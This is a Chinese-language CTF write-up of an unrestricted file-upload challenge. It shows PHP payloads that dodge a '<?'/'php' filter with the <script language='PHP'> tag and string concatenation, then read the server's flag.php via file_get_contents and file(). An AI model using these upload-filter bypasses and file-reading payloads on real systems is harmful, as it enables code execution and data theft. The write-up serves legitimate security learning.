0x00题目内容:
想怎么传就怎么传,就是这么任性。
tips:flag在flag.php中
0x01试探
先随便写个脚本上传一下试试
<?php
echo 'test';
访问结果为 echo 'test';
猜测过滤了<?和php,使用script绕过和大小写绕过,重新尝试
<script language="PHP">
echo 'test';
</script>
访问结果为test
0x02读取flag.php
接下来尝试读取flag.php 这里php也需要绕过,可以用.连接字符串绕过,也可以strtolower('PHP')绕过
<script language="PHP">
echo((file_get_contents('flag.'.'p'.'h'.'p')));
</script>
访问结果为空白
原因是php脚本上传在/u/xxx.php中
试一试上级目录吧
<script language="PHP">
echo((file_get_contents('../flag.'.'p'.'h'.'p')));
</script>
访问页面是空白的,查看源代码
<?php
echo 'here_is_flag';
'flag{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}';
这里采用其他方式读取也是可以的, PHP读取文件内容的五种方式[1]
为什么页面是空白的呢
0x03延伸探究
解析渲染该过程主要分为以下步骤:
当浏览器请求服务器上的其他语言的脚本时,如php,则先运行脚本,然后将结果解析为HTML,再返回给浏览器呈现。
而本题中,运行了上传的php,将读取到的flag.php的代码(一个字符串)返回,即将此时的php代码转换为了HTML界面[3],就好比在.HTML文件写入php代码一样[4]。
解决方案:
1:PHP htmlspecialchars() 函数
该函数把预定义的字符转换为 HTML 实体。即可以显示在页面中。
<script language="PHP">
echo(htmlspecialchars(file_get_contents('../flag.'.'p'.'h'.'p')));
</script>
2.PHP file()函数
file() 将文件作为一个数组返回。数组中的每个单元都是文件中相应的一行,包括换行符在内。也就是<?php成为了单独的一行,解释器只注释掉了这一行,后面的flag可以显示出来。
<script language="PHP">
print_r(file('../flag.'.'p'.'h'.'p'));
</script>
参考:
[1]PHP读取文件内容的五种方式 http://blog.csdn.net/yilovexing/article/details/52711673
[2]HTML渲染过程详解 http://www.cnblogs.com/dojo-lzz/p/3983335.html
[3]Web网站工作原理解析 http://blog.csdn.net/finish_dream/article/details/50900285#t2
[4]为什么嵌入html中的php代码浏览器打的时侯会被注释掉 http://blog.csdn.net/fjnjxr/article/details/73188517
本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系我们删除。